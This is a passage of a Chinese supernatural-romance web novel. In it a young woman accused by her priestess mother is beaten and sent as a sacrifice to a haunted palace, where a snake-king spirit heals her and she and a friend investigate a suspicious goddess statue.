“怎么可能突然损坏了,我在娘娘庙门口还检查了一遍,视频明明是正常的!” 不远处的赵二阖目,暗暗松了口气。 蛇王大人冷漠解释:“是你母亲用巫术改变了娘娘庙内的磁场,这才损坏了电子设备里储存的内容。” 竟还能这样? 我抬手抹了把额角的淋漓冷汗,忍着下颌两侧的裂痛,小心翼翼把嘴里的东西拽出来…… 她卸了我的下巴,就算我嘴里没东西了,也说话艰难。 族人们看银杏拿不出证据,逐渐被磨没了耐心—— “收拾个人怎么这么费劲!没有证据就别来拖延时间,大祭司,快动手吧!” “别再替这个小贱人狡辩了,大祭司说得对,她就是个祸害,多留一天,就会多给月阴村带来一天麻烦!” “打死她,为我们月阴村清理门户!” 起先押着我的两个婆子在大祭司眼神示意下,赶忙来拽村长离开:“哎呦村长,知道你心善,你就别护着她了!” “她一条贱命不重要,要是再给我们月阴村招惹来灭顶之灾,我们可就后悔都来不及了!” “你们别碰我!” 老村长不肯走,两名婆子便强拉硬拽把老村长架去了一旁。 “不能杖杀啊大祭司!就算是看在这孩子父亲的面子上,放她一条生路吧!”村长老眼含泪地嘶声为我求情。 立在娘娘神像下的大祭司脸色阴沉地决绝道: “她生来就是个祸患,活着,只会给亲近之人带来不幸。 如今,她又犯下不可饶恕的重罪,本祭司身为她的母亲,同时也是整个阴苗族的大祭司,本祭司向来以守护阴苗族为己任,绝不会放纵任何一个孽障为害阴苗族。 况且,此孽女品性低劣,生性淫荡,满嘴谎言,荒唐不孝,证据确凿还企图攀咬母亲,拉圣女姐姐下水,不知悔改,就算是杖杀,也死不足惜!” “你放屁!” 银杏急着跑到我跟前抬手把我挡在背后,硬气戳穿大祭司的谎言: “你就是想用淫乱娘娘庙这口黑锅逼死镜镜,好成就你那个半吊子大女儿! 苗域大祭司一脉向来世代单传,极少会出现双生圣女的情况。据月阴村村志记载,从前有大祭司诞下双生女,圣女气运都是由两个女儿均分的! 除了第六百九十二代大祭司在察觉圣女气运不在一个女儿体内,由于偏心大女儿,嫌恶小女儿体弱多病,就狠心掐死小女儿,导致圣女气运全部回到大女儿体内之外, 第八百二十一代,与第一千零三代大祭司在诞下双生女后,第八百二十二代及第一千零四代圣女,皆是双生女一起做圣女。 彼时,阴苗族有两位圣女,两位大祭司! 只是为了确保圣女一脉的唯一性,双生圣女之中,会有一个,命中注定没有姻缘没有子嗣! 而且,在阴苗族圣女秘卷中,有对大祭司的明确要求,上面清楚写着,阴苗幸承西王母天恩,得以繁衍生息,上苍有好生之德,后世大祭司若诞双生女,切不可因圣女气运被平分而草菅人命,残害亲生骨血,后世双生女,皆为双生圣女! 所以,镜镜根本不是什么给月阴村带来灾厄的祸患,镜镜也该是阴苗族圣女!大祭司这样急着杀镜镜,不就是想抢镜镜体内那一半圣女气运吗! 从来都不是镜镜分走了宋花枝的圣女气运,而是这一半气运,本就属于镜镜!” 银杏说罢,我与在场的族人们皆是错愕愣住…… 双生圣女? 我也该是阴苗族圣女? “双生圣女?不是说,大祭司一脉极少会有双生女诞生,而且,第二个女儿是来抢圣女气运的讨债鬼吗?” “从前我们只知大祭司一脉双生女不祥,还是头一次听说,双生女应该是双生圣女……” 有人不明所以地议论起来,村长也甩开两婆子的拉扯,稳重作证: “是!月阴村的村志中,的确记载过第一百二十一代与一千零三代大祭司产下了双生女,后,双生女皆为我阴苗族圣女。” “就算村志中有双生祭司的记载,也不能证明,每一代的双生女,都是双生圣女,还要视情况而定。” 大祭司不疾不徐地冷冷道: “如今我阴苗族的圣女,可是神娘娘转世!自古与神明同胞降生,要么,就是神明选中的伴生品,要么就是妖魔! 圣女出生时,暴雨骤晴,凤凰接引,而宋鸾镜出生时,引来万蛇,这些不都是大家亲眼所见?” 村民们闻言当即话锋一转:“就是,哪有圣女出生时,引来一堆蛇的!宋鸾镜一定是妖邪转世!” “怪不得一身媚骨欲求不满,原来天生就是个妖孽!” 大祭司目光如刃地盯住银杏,威压极重的厉声审问: “圣女秘卷只有祭司及族中长老才能阅览,你怎会知道里面的记载?你根本没资格翻看圣女密卷,你在撒谎!” “我……”银杏顿时语塞,而大祭司便抓住银杏突然心虚的这一机会,立即吩咐:“李银杏不是本族人,把她扯开!” “等等!”我忍痛从口袋里掏出一把药粉,毅然对上大祭司杀意正浓的凌厉眼神,拿出杀手锏: “这是认息蛊,二十四小时内,谁和妖物接触过,此蛊就会附于谁的身上!” 虽然,我也和妖物接触过,这蛊一撒出去,我还是摆脱不了嫌疑,但至少能拉宋花枝下水! 大祭司显然没料到我竟会来这一手,阴暗眼底划过一丝慌乱。 没等她出手阻拦,我就迅速将蛊粉一把洒了出去—— 淡蓝色的阴蛊霎时如漫天流萤般,觅着妖息,全部涌向了躲在娘娘神像后的宋花枝…… “啊——” 下一秒,躲在神幡后的宋花枝就尖叫着蹦入所有人的视线中,浑身都附满了蓝盈盈的认息蛊—— “什么死东西,滚开,快给我滚开!” 慌乱跑到大祭司身边,挽住大祭司的胳膊急切告状:“妈,快把这些黏糊糊的东西弄开!” 殿内的村民见她也在娘娘庙里,纷纷目露疑惑。 不过,怪的是,那些认息蛊,竟没有附在我身上…… 明明,我昨晚还和蛇王见过。 那家伙还抱我了来着! 村长狐疑蹙眉:“圣女?你也在娘娘庙?既然在庙里,为何躲在内殿不肯出来?” 银杏疾声控告:“大家快看,认息蛊全在宋花枝身上,宋花枝若是没有靠近过山里那些野仙,认息蛊怎么会附在她身上!” 可不待众人反应过来,大祭司就手提乌灵木权杖往地面重重一敲。 霎时强大的巫术就震散了爬满宋花枝全身的蓝色认息蛊。 “接触过野仙家的人,分明是宋鸾镜,这些认息蛊是被动了手脚才会附在圣女身上。” 大祭司寒潭般的眸底尽是杀意,转头望向躲在人群后的赵二,沉声命令: “赵二,把昨晚你看见的,全都告诉大家!” 赵二一怔,随后磨磨蹭蹭地挤开人群,心虚的瞧了我一眼…… 咬咬牙,张口就编:“昨晚,我的确去了娘娘庙,可庙里的女人,不是圣女,而是……鸾妹。” “鸾妹,我真没想到你竟自甘堕落,和黄大仙在庙里就苟合。” “鸾妹,我要失信了,当着各位乡亲父老的面,我不能帮你污蔑圣女,圣女是整个阴苗族最纯洁的女孩,你就算嫉妒她,也不能毁她名节,她是无辜的。” “我昨晚,亲眼看见是鸾妹、勾着那些妖物缠绵,行为……放纵浪荡。鸾妹和我说,她就是看不得圣女风光,同为一母所生,凭什么她要被扔在外婆家过苦日子,圣女却能受人敬重。” “她还说,她是灰狐大仙放回来报复我们月阴村的,她要让我们月阴村血流成河,尸堆成山!” 第20章 疼就求本尊 一字一句,说得煞有其事,连我都被他这么能编给震惊到了。 “你胡说八道,昨晚我们本来是去找村长的,是你说村长不在家告诉你也一样,我们才带你一起上九黎山进娘娘庙,你还说你一定会将真相公之于众还镜镜一个清白!没想到你今天竟然颠倒是非倒打一耙!”银杏气不过地恼火反驳。 可惜大祭司不会再给我们翻身的机会了,手一挥,那些打手们的木杖就用力拍打在了我背上。 我猝不及防挨了年轻力壮的打手一棍子,只觉得后心被震得差点移位,一股猩热迅速抵上嗓门眼—— “镜镜!” 有人要来扯走银杏,但却被银杏敏捷躲开,为了保护我,银杏的肩膀也不小心挨了那些打手一棍子…… 长老会的打手有多残忍我是见识过的,连忙抱住被打到腿软的银杏,余光瞥见另一棍也朝银杏的脑壳上挥了过来,我连忙用手护住银杏的脑袋,抱着银杏旋身一转…… 用了重力的一杖猛地挥在了我的脖子上! 我疼得眼前一黑,这一杖,差点打断我的脖颈。 “镜镜!”银杏紧张地伸手抚摸我脖子,想要查看我的伤势。 老村长那边还在尽力阻止:“别打了,老李的闺女还在这,她不是本族人,不该受本族的刑罚!” “哎呦,我那短命的兄弟留在这世上的,只有两个闺女!你一定要打死一个吗!” “大祭司,你的人竟对杏子也下死手,你就非要赶尽杀绝吗……” 杀红眼的大祭司怒声冷呵:“棍棒无眼,他怎么不敢亲自来见本祭司?派个野种来和本祭司作对,真当本祭司不敢对这个野种如何吗?有胆子做,没胆子承认的废物怂货!” 这架势,摆明了就是不杀我决不罢休了…… 银杏忍无可忍地大吼道:“我和他们拼了!” 但我却紧紧抱住她,小声在她耳边安抚了句:“没事,先别动。” 紧接着用意念操纵红丝—— 数根红丝线瞬间从我腕上的古银镯子里迸射了出来,眨眼间,红丝线另一端就缠上了打手们举起木杖的双腕,威力极强地将那些面目狰狞的打手扔翻了个跟头。 打手们同时摔落在地,棍棒也哐哐当当扔落在大祭司与宋花枝的脚下。 宋淑贞抬眼看见我腕上的镯子,目下一凛,握紧手中乌灵木权杖,腕上一转,顿时一道强大巫力就震退了丝丝红线,还顺手将我猛地按跪在地…… 双膝重重砸在娘娘庙的冷硬地板上,大祭司的巫力宛若一双劲大的无形手掌,死死按着我的双肩不许我挣扎。 “还说自己没有与野仙苟合,你手腕上戴着的脏东西就是罪证!既然你偏不安分,那本祭司,就亲自送你上路!本祭司生你,如今,就亲自解决了你这个祸害!” 女人一脸冷漠的抬手聚起一团乌烟瘴气的巫力,运功就要朝我头顶劈过来—— “镜镜!”银杏惊恐地推开我。 而生死一线关头,赵二突然颤抖出声着急提议: “大祭司!族中还缺个长生玉女,既然鸾妹如此死不悔改,与其把她活活打死,不如把她送进长生宫,让她死得有价值点。” 长生玉女……长生宫! 我突然想起昨夜,他说的那句,今年的长生玉女可能是李娟儿,也可能不是。 看来,他们早就算计好,要拿我去祭长生泉了。 我自嘲一笑,嘴角弧度扯得下颌又是一阵裂痛。 大祭司压下掌中巫力,思忖片刻,高高在上地发话:“那就,把她送去长生神殿,祭长生泉!” 得到这个结果,我并没有很意外。 我早就知道,宋淑贞她们容不下我,会想方设法地榨干我最后一丝价值再杀我。 长老会的打手来绑我时,我并没有做无谓的挣扎。 老村长还不死心地在向宋淑贞给我求情,银杏执拗地非要跟我一起走。 我说话不利索地艰难驱赶她:“你回家吧,我去长生宫,她们肯定还会想办法要我的命,你跟着我太危险了!” 银杏攥着我的衣角,皱紧一双秀气的柳叶眉坚决道: “我不!咱俩小时候可是发过誓的,义结金兰,有福同享有难同当,不求同年同月同日生,但求同年同月同日死!” 我头疼劝她:“你死了李大叔怎么办!” 银杏想了想,一本正经说:“我爸会养小鬼,你放心,咱俩死了,我就让咱爸走后门再把咱俩捞回来!这样咱俩下辈子就不用努力了,可以直接躺平啃老!” 我:“……” 两个小时后,我被族里那些中年妇人扒了衣服,强行换上一身古代神仙侍女装扮。 我被押到背靠九黎山脉的木质建筑群宫殿门外,银杏死活不肯松开我的手,长老会那些人实在拿她没办法,只能把她和我一起踹进了长生宫—— 长生宫,是十八年前修建的一处木头宫殿,对外宣称是供养长生泉的神宫,实际上,就是一片囚禁无辜亡魂的荒废鬼宫! 二十年前,我那位大祭司母亲对外宣称,山中有一泉脉,以玉女纯洁之身供养,可延年益寿得长生。 我阴苗族本就信奉上古长生神西王母娘娘,听外婆生前讲,我阴苗族在上古时期得西王母娘娘庇护,传授长生秘术,后来也称为长生蛊。 因此那会子,我们阴苗族的确是名副其实的长生部落。 只是经过几次战乱与内部动荡后,能炼成长生蛊的族人越来越少,得长生者,也仅剩十之一二。 阴苗族延续到我们这一代,长生蛊秘术已彻底失传了,普通族人连一些最简单的阴蛊都无法炼制。 长生,便成了我们阴苗族的一个传说,也成了代代族人们心中最炙热的那团执念。 有句话说得好,一旦拥有过,再失去就会承受千倍万倍的不甘,长生对于我们阴苗族而言也是如此。 正因为先祖们的确得到过长生蛊,所以整个阴苗族,如今都十分渴望能延年益寿得长生。 故而在大祭司放出长生泉的消息,并提出要在泉脉下修建长生宫的时候,阴苗族八寨十三村的上万人几乎都是双手双脚赞成! 长生宫修建好,大祭司又提出以未婚年轻女子的纯洁之身供养长生泉,族人们最开始还有所抗拒,都不愿把自家姑娘献出来。 但好在,一年只要一个,而且大祭司又说,只要亡故女孩的尸体,如此,族人们才肯慢慢接受。 加上后来大祭司又说宋花枝乃是至纯之体,让宋花枝每年四月二十六来长生泉沐浴,这样所有族人就能得到圣女赐福,圣女身上的灵气可以催发长生泉中的长生神力,大家喝了长生泉的泉水,便能祛病消灾,延年益寿。 族里的老人们喝了长生泉水后,着实越活越硬朗,久而久之,族人们就不再把一年一度献祭玉女的事挂在心上了。 甚至除了被选中的玉女家人,其他族人都是很赞同献出玉女守护长生泉的…… 毕竟,舍弃几具尸体就能延年益寿,为自己多换几年寿元,族人们很是乐享其成。 初建长生宫那会子,外婆也曾强势阻止过,但并没能拗得过大祭司与所有族人。 后来,族人们每年都会饮用长生泉的泉水,如今放眼整个阴苗族,估摸也就只有我和外婆,还有李大叔与银杏父女俩没有沾染过那泉水了。 外婆说,长生泉的泉水不干净,长生宫里怨气滔天阴气浓重,迟早会出事。 外婆叮嘱了我二十多年不能来的地方,没想到,她老人家刚过世,宋淑贞就迫不及待地把我丢进来了。 我和银杏被赶进长生宫后,高大的宫门被人麻利地从外上了锁。 刚进院落,阵阵阴风就席卷着枯黄落叶迎面朝我与银杏扑打了过来。 我忙抬起宽大衣袖挡住我和银杏的脑袋,等阴风扫过,才放心垂下胳膊拍拍身上的灰尘。 放眼望去,整座宫殿都是按照传统神庙布局建造的,正前方五百米开外是一座飞檐翘角的主殿,左右两侧是一间间小配殿与阁楼。 主殿后,还有两座大殿。 宫里常年没有人打扫,广场上落满了枯叶,就连主殿的牌匾都被风吹得歪斜一边,勉强还挂在门框上的一角结满了蜘蛛网…… 杂草从地面的青石砖缝里钻出来,如今都已经没过脚踝了。 银杏挽着一瘸一拐的我,陪我往前走了几步,意外道:“原来长生宫里,是这样子……和娘娘庙的布局好像。” 想了想,又牙齿打颤地惶恐道:“听说这地方闹鬼闹得凶,他们把咱们锁在这里,晚上可怎么办啊!” 我抬手揉了揉像是骨节错位了的肩膀,痛苦开口:“先别管晚上了,我们找个地方坐下来,我的下巴还脱臼着呢……” 银杏这才猛地想起我身上有重伤,连连答应:“好好好!”四处张望了一遍,搀着我往右侧没上锁的空屋子走去:“那间屋子里有桌椅,走,我们先进去!” “嗯。” 银杏一掌推开空屋子的门,扶我进去找个凳子坐下,手忙脚乱地帮我检查胳膊,不知所措道:“我、我不会正骨啊……” 又小心捧起我的脸,看着我被卸掉的下颌,更是欲哭无泪了:“我也不会安下巴啊!” 我无奈地轻轻活动一下肩骨,依旧是锥心的疼…… “没事,我自己研究一下。” 银杏手足无措了一阵,突然扭头就往外面跑:“我我我,我去找信号,向我爹求救!” 我瞧着她一溜烟消失的背影,心累叹口气。 这地方,荒山脚下,哪有信号啊…… 只能自救。 银杏这家伙胆小又怕疼,指望她给我安下巴是没戏了。 我闭上眼睛,心底一横,自己抬手,捏住我裂痛的下颌两侧…… 痛得汗如雨下,打算忍一忍,把下巴强掰回去。 下颌骨两端的刺痛感越来越强烈,可我指尖的力气,却不敢卸下一分,反而越来越重。 强行把下颌掰回去的过程里,我甚至能清晰听见自己两侧颌骨的咔吱咔吱碎裂声…… 极致的痛感不断冲击着我的头颅,痛得我眼前一黑又一黑。 眼泪不觉间,掉了好几滴。 就在我准备赌一把,对自己下狠手时…… 肩上忽地一沉。 好闻的莲花香混进空气中,吸进鼻息,融入神魂…… 我一愣,紧张睁眼。 是他! 男人的手掌握住我肩头伤处,竟驱散了我肩上的剧痛感。 让我好受许多! 蛇王大人长身玉立在我背后,高冷启唇,语气淡淡,却又裹挟着几丝令人不易察觉的小傲娇—— “疼么?本尊可以为你疗伤,求本尊,本尊就为你接骨。” 第21章 在他面前脱衣服 我哽住,脑子空白了几秒…… 蛇王大人喜欢这么玩? 两秒钟后。 我转身,昂头泪眼巴巴地委屈瞧着他。 一把抓住他骨若修竹的玉指,在他惊诧不明的目光中,一头扎进他怀里就夹着嗓子可怜兮兮央求他:“求你,蛇王大人,我疼……” 银发古袍的蛇王大人眼尾瞬红,呼吸一顿,指尖发颤:“……” 嘁,真以为我没这张厚脸皮啊。 骨气和小命比起来,不重要! 片刻,看着高冷,实际上却并不怎么难说话的蛇王大人掌中稍稍用力,沉声提示我:“忍一忍。” “哦。” 下一秒,一股凛冽寒意就钻进我的脖颈,融进了我肩背上的骨头…… 寒意初接触伤处时,又冰又痛的感觉疼得我几乎直不起腰背。 我闭紧双眼,大口喘息着,额角冷汗生了一层又一层。 直到寒意彻底渗入我的骨缝,与我的骨血交融为一体,我才慢慢适应那一丝丝钻心的冰凉痛感。 男人站在我面前,察觉到我身体抖得没那么厉害了,紧拧的剑眉这才稍稍舒展—— 语气轻柔地与我解释: “他们打伤你的木杖上,有你母亲下的巫术,本尊方才用法力吞噬残留在你体内的害人巫术,所以你才会疼。 今日,你能利用本尊给你的镯子自保一回,还不错,不算傻。 不过,你刚学会用意念驱动莲花镯,尚不是你母亲的对手。 往后勤加练习,假以时日你母亲那些伎俩在你面前,必也会轻易攻破。” 我倒抽一口冷气,疼得脑壳都酥了。 认真点点头:“好。” 他说得对,我已经开始学会利用莲花镯自保了,是个好的开始! 帮我治疗完肩背的伤,他修长玉指小心翼翼扶起我被卸掉的下颌,深眸里暗怒涌动,像是心有不忍,还算仗义的大度道: “若是太疼,就抱紧本尊,或者,攥紧本尊的衣裳。想让你下颌正位,可能会很痛。” 我满头大汗的无奈说:“我现在就很疼。” 宋淑贞下手真狠!为了堵我嘴,不惜卸了我的下巴。 倒也附和她为了保护宋花枝不惜把我送给灰狐仙糟蹋的人设。 他瞧着我疼到眼泛红的模样,浅浅说:“那你,做好心理准备。” “好……嗷呜——” 一个好字还没说完呢,只听双耳边咯嘣一声,下一瞬就疼得我耳鸣眼发黑,差点当场哭出来—— 蛇王他老人家手也忒快了些吧,我的下巴! “呜好疼好疼!我的耳朵我的牙,我的下巴我的嘴啊!”我捂住痛意渐轻的下巴,脑袋埋在他腰腹上,惨叫着流口水…… 不过…… 我摸摸自己的下巴,好像已经怼回去了。 没事了! 而且,下巴安回去以后,也不怎么疼了…… 我猛吸好几口气,在他怀里待到疼痛感差不多要完全消失时,才心有余悸地捂着下巴坐直身,从他怀里离开。 “我,好了。”我尴尬脸红,对于刚才不小心把口水滴他袍子上一事深感内疚。 他低眸扫了眼被我口水洇出一小点深色痕迹的衣裳,脸上竟一点也没流露出厌恶之色,反而拂袖蹲下,继续给我看腿上的伤。 撩开我飘逸裙摆,大手握住我的脚踝,把我的脚放在他膝上,随后从袖中掏出药膏,给我抹在青一块紫一块的小腿上。 “方才本尊眼睁睁看着你挨打却无动于衷,你怨本尊么?”他突然问。 我坐在凳子上愣了下,不解的抬头看他:“不怨啊,我的事,你又没有义务帮我解决。” 他帮我抹药膏的手一顿,静了静,才挥开碍事的广袖,说: “宋瑶芝用鬼符请来本尊,与你结为夫妻,本尊念及你我之间确有缘分牵扯,所以本尊会护你一世,直到你此生阳寿耗尽。 不过,本尊不会过多插手你的命运,本尊护你,是保证你这条小命不被自己作死,其他的,本尊皆不会管。 往后你我相处,各取所需。” 我听明白他的意思了,他是说,他会保住我这条小命,但是别人怎么欺负我甚至伤害我,让我别指望他。 可我本来就没指望他能像正常丈夫一样,呵护心疼我这个妻子。 各取所需,不过多插手我的命运,听起来他对我好像没什么约束…… 我懂了,是做名义上的夫妻! 我低垂着脑袋正考虑事情呢,他久久没得到我的回复,停下指腹的动作。 神色怪异的抬头浅声问我: “你、不高兴?本尊方才说的可是难听了些,其实本尊是知道你能……” 我猛地回过神,没听清他后半段话,怕他多想赶紧摆手表决心: “没没没,我知道,您帮我是情分不帮我是本分,您放心,我以后一定少麻烦你!您能保我一条小命我已经很知足了!啊对了,蛇王老爷……” 壮了壮胆子,我不怕死的不好意思多问了句:“那个,您说……不过多插手我的命运,那我、可不可以……” 深呼吸,我一口气激动说完:“以后碰见合眼缘的男人了再嫁给别人?!” 蛇王老爷俊美无俦的脸瞬间阴沉了下来。 我自认心虚理亏地默默往后仰了仰,尴尬讪笑:“那啥、您老人家要是遇见合适的母蛇了,也能再娶嘛!我不介意的,我我我、我觉得蛇王老爷你刚才的提议,非常好……” 好字的尾音还没落呢,蹲在地上的男人就噌地一下站起身,猛地捞过我的腰肢,满身戾气的愤怒揽我入怀,以唇堵住了我的嘴—— 我憋回剩下的话,心猿意马的瞪大眼看着咫尺之间那张清隽妖美的盛世俊颜…… 咕咚咽了口口水。 嗯,蛇王老爷的颜值还是蛮能打的,放在外面的世界,妥妥的明星脸啊! 只是蛇王老爷的情绪是真的不太稳定,刚才咱俩还聊得好好的呢。 男人身上的轻浅莲花香,我嗅着异常安心…… 被他怀里的暖意包裹着,竟让我,格外的有安全感。 心脏扑通扑通乱跳着,可神魂,却十分安稳。 奈何不等我回神,男人就眼尾猩红,眸中含怨地用力往我下唇上咬了口。 我:“……” 疼疼疼! 也不知道我哪句话惹到了他,此刻的蛇王老爷脸比我家锅底还黑,眉心拧成一团,红着眼眶,瞧我的眼神怒意滔天,怪吓人的…… 我吃痛地挣扎了一下,他才松开我的唇。 “你干嘛咬我?”我欲哭无泪。 男人没好气地箍着我腰,眼底寒光凛冽,生气警告:“是你主动招惹的本尊,现在竟敢与本尊说,要嫁给别的男人!宋鸾镜,你只能是本尊的!” 我揉了揉被他咬疼的嘴唇,委屈道:“不是你说的,咱们各取所需,你不干涉我的命运……” 他霸道挑眉:“本尊对你的需求,就是你做本尊的妻子!” 我噎住。 做他的妻子…… 他是说……他对我,有那方面的需求? 我抽了抽嘴角,愣在他怀里。 虽然这个交易,挺公平的。 他盯着我,不解地眯了眯好看凤目:“你这表情,在想什么?” 我呛了声,连连摆手:“没没没,没想什么?” 他低眸凝视我的目光更是狐疑了,伸手往我额上试了试…… 手一颤,莫名俊脸绯红。 仓促松开我的腰身,闷咳两声,拂袖以背对我,低低呢喃:“还和从前一样,不正经……” 什么从前一样,我怎么不正经了? 腿上的伤口已经被他清理干净上完了药,我松下自己的裙摆,拍拍身上的神仙侍女服,嫌弃嘀咕:“真麻烦,穿着热死了!” 说到热……可以脱嘛! 我果断扯掉自己的腰带,解开身上的两层彩纱外衣。 第22章 长生宫的神像不是神娘娘! 这玩意从前都是给死人穿的,所以里里外外裹了五六层,一点也不人性化。 如今这个天都已经热了,裹这么多也不怕尸体臭了。 “本尊,是相信你。 你总要学着强大,若本尊次次都为你出头,出手帮你扫清障碍,本尊在你身边时尚能护你周全。 一旦本尊疏忽,你没有自保的能力,便会沦为他人俎上之肉。 何况,你也不是那种会逆来顺受,一味仰仗他人庇护的女子。 本尊可以将你养成一只依赖本尊,离不开本尊的金丝雀,但本尊知道,你不喜欢那样……” 我脱掉身上的四层薄纱,还剩下一件吊带裹胸长裙,与一层淡青色交领古代长衣。 正犹豫着要不要把那层长衣也给脱了。 谁知跟前的蛇王老爷突然不知道又抽什么风,蓦地转身,毫无征兆地一把攥住了我的脖子。 幽若古井的眸子里泛起点点危险光芒,神色狠戾的冷声威胁:“宋鸾镜,你这辈子也别想逃离本尊!” 他狠话放的是很凶。 但攥在我脖子上的那只手却根本没有用力。 我甚至还能怔愣瞪着他吞口口水…… 蛇王老爷的情绪是不太稳定哈。 他冷硬的目光挪至我衣领半敞的胸口,以及半露在外的雪肩。 顿时心虚别过头,绯红俊容更是滚烫,“阿鸾,你干什么……” 我颓废道:“我热啊!脱几层衣服而已。” 至于吗。 然就在此刻,银杏终于从外面亢奋地跑了回来—— “镜镜!我打通电话了!我爸说让你去求求那位青蛇王,他能帮你安下巴——” 闯进门一抬头,就看见银发古袍的蛇王大人掐着我脖子! 而我,衣衫不整,香肩半露,泪眼盈盈…… 银杏僵了两秒,随即忽地反应过来,冲着蛇王大人就是龇牙咧嘴的愤怒大吼:“流氓!放开你的爪子!呀——” 凶悍地搬起门边破旧太师椅,举过头顶,狂奔着朝蛇王砸过来—— “敢扒我家镜镜衣服,我砸死你!” 蛇王大人:“……” 她动作太快,压根没给我解释的机会。 椅子与蛇王大人仅剩二三十公分距离时,蛇王大人及时身子一闪,避开了银杏的攻击。 银杏砸出去的椅子挥了个空,下一刻,就被木椅的惯性给扯撞向了墙面—— “哎?啊——” 我慌张推开蛇王大人的手站起身:“银杏!” 蛇王大人没好气皱眉,广袖一挥,一道灵力阻拦住木椅的惯力,将银杏连人带椅子掀翻在地,摔得她四脚朝天,身上还卡了张椅子。 “哎呦喂,摔死我了,我的尾巴骨啊!”银杏躺在地上疼得来回打滚。 我着急跑过去把卡在她腰两侧的椅子搬开扔到一边,抓住她的胳膊拉她起身。 “银杏,你没事吧!摔坏了没有?”我扶着她站稳重心,给她拍拍身后的灰尘。 银杏不服气得窝火跺脚:“他还敢躲!实在太过分了,流氓,有本事咱们单挑!欺负弱女子算什么能耐!” 不远处的蛇王大人冷着脸转回身,目光凛冽地看过来。 与银杏目光相接那一刻,银杏身子一惊,立时就没出息地被蛇王大人那张脸给迷住了…… “我嘞个乖乖,好权威的一张脸!”银杏错愕低喃,瞪着蛇王大人的眼神都直了。 没良心地挽住我胳膊,魂不守舍道: “这么帅的男人……怎么偏偏是流氓呢!反正我们也打不过他,要不然,镜镜你从了吧。” 我:“啊?” 银杏这花痴的病情也太严重了吧,这就把我放弃了? 银杏猛吸一口气,接着出馊主意:“咳,你要是下不去那个手的话,不如我来?” 抬手遮在脸侧,扭头和我小声低语: “我的乾坤袋里有我爸给的灵符与法器!管他是人是鬼等会儿我直接把他绑了,你要是碍于蛇王大人不好下手,那就我来! 这张脸,这身材,啧,不抓回去做小,实在是浪费了这个颜值!看他身强体壮,身形敏捷,和他在一起,一定好生娃!” 我震惊瞪大眼看她:“……” 她要不要听听她在说什么?! 她伸手去翻自己腰间布袋,说干就干,真打算拿法器罩蛇王大人。 我心惊肉跳地连忙按住银杏那双不安分的爪子,头皮发麻的小声回应她:“你不能绑他!” 银杏眨了眨清澈的水眸:“为啥?你看上他了?看上他的话我可以把你让给他,不过你得当心,别被你家那条蛇给……” 我差点被银杏直白的话给吓断气,惶恐地捂住银杏嘴巴。 被蛇王大人那双淬了冰的冷眸给唬一激灵,尴尬告诉她:“这就是蛇王大人!” 银杏怔住,瞳孔放大,呼吸瞬停! 着急扒开我捂她嘴的手,不敢置信:“啥?!他就是青蛇王!” 我艰难点头:“嗯……” 银杏意外惊呼:“你不是说蛇王大人长得勉强还能看吗?你没告诉我蛇王大人品相、呸,颜值这么高啊!” 我呛咳出声,捕捉到蛇王大人眼底一划而过的落寞,悄悄往后挪了挪,离他再远点。 呜这个银杏,怎么什么话都往外说…… —— 折腾一天,等我们安顿下来,已经是日暮时分了。 银杏挽着我的胳膊往长生宫正殿方向走去,颓废说: “我和我爸说了咱们现在情况,我爸的意思,是让我俩先想办法抱住蛇王大人的大腿,然后顺便帮他查一查长生宫中的猫腻。” 我不理解地喃喃重复: “猫腻?长生宫里有什么猫腻?” 银杏摇摇脑袋, “反正听我爸的意思,长生宫肯定藏有秘密,这一阵村里不是都在传长生宫附近闹鬼吗?我爸应该就是想让我俩趁此机会弄清闹鬼的事。 这长生宫平时是不许外人进来的,除了每年择选的长生玉女能在长生宫久留,其他族人在长生宫不得滞留超过三个时辰…… 仔细想想也对,长生宫里要是没有什么见不得光的东西,大祭司为什么不让族人随便出入?” 我赞同颔首,“有道理。” 银杏嘶了声,又说:“刚才我为了找信号,把长生宫大致转了一遍,结果你猜我发现什么了?” 我不明望向她:“什么?” 银杏别扭道:“这座长生宫,与娘娘庙,布局完全一样!” 我听完倒没觉得哪里有异常: “长生宫本质上,也算个庙。毕竟这里可囚着十七名长生侍女的魂魄,你可能是平时不怎么去拜庙,所以不知道庙、观、寺、宫这些拜神的地方,布局都是大同小异的。 我从前跟外婆游走在八寨十三村,前面清河村的普化寺,与南边柳芽村的报恩寺,不但布局一样,连所建之地的五行八卦对应位都一样。 像娘娘庙这种大点的神庙,几乎都是前面是主殿,左右配偏殿,主殿供奉主神,后殿供奉野仙山怪。” 银杏拉长脸,一句话问住我:“长生宫是鬼庙,有主位神明吗?” 我哽住,对哦,长生宫里不供神明,族人们每年来长生宫上香,都是为了祈求长生泉保佑我们阴苗族延年益寿,无病无灾。 长生泉是死物,说破天,也顶多算个灵物,不是神明。 把鬼宫盖得像神宫,这里面的讲究我还真不太懂。 “还有,你做好心理准备。”银杏深深看了我一眼,然后疾步走到主殿两扇破旧大门外,伸手用力一推。 古旧的大门发出苍老的闷吟,吱呀一声,哐哐当当地缓缓敞开。 夕阳余光洒进漆黑庄严的大殿,橘黄光束里,灰尘萦飞。 我昂头放眼看进去,却猛地发现,殿里竟然也供奉着神娘娘! 怪不得银杏说这地方有问题,长生宫不但布局和娘娘庙完全一致,连主殿的神像供桌摆设都完全一比一复刻山上的娘娘神殿。 可这里是囚禁长生女亡魂的鬼宫,怎么能把神娘娘请到这里镇守长生宫呢! 宋淑贞这样做难道不怕冒犯神明遭天谴? “你看!这神像,这神娘娘,还有供桌两边的神幡与莲花,都和山上的娘娘庙完全一样! 但如果长生宫也供奉神娘娘,为什么不允许族人们来长生宫拜见神娘娘? 难道这里的神娘娘,根本不是用作保佑族人,而是,用来干坏事的?” 银杏说着,从腰间布袋里掏出罗盘,罗盘上的指针刚一接触到神殿里的空气就杂乱无章地疯狂转动起来,最终,指针稳稳指向正前方的娘娘神像—— “我就说这神娘娘不对劲吧!山上那尊娘娘神像一身纯净仙气,可这里的神娘娘,却是满身妖邪阴气!” 银杏拉着我迈进神殿,把罗盘重新揣进兜里,皱眉沉声道: “我听说,荒山野岭的神庙由于常年没人供奉香火,那里的神明就会离开自己的神像,舍弃那座神庙。 而神明留下的空壳子神像,则会被山精野怪寄宿其中,以此来骗人香火。 镜镜,你从前跟着老祭司四处办事,这种情况你能分得清究竟是怎么回事吗?” 我昂头看着正前方那尊身披彩衣、脚踏金凤、手捻莲花的娘娘神像,神像的气质确实与九黎山上的神娘娘差距甚大…… 而且,这里的神娘娘,总给我一种很熟悉的感觉。 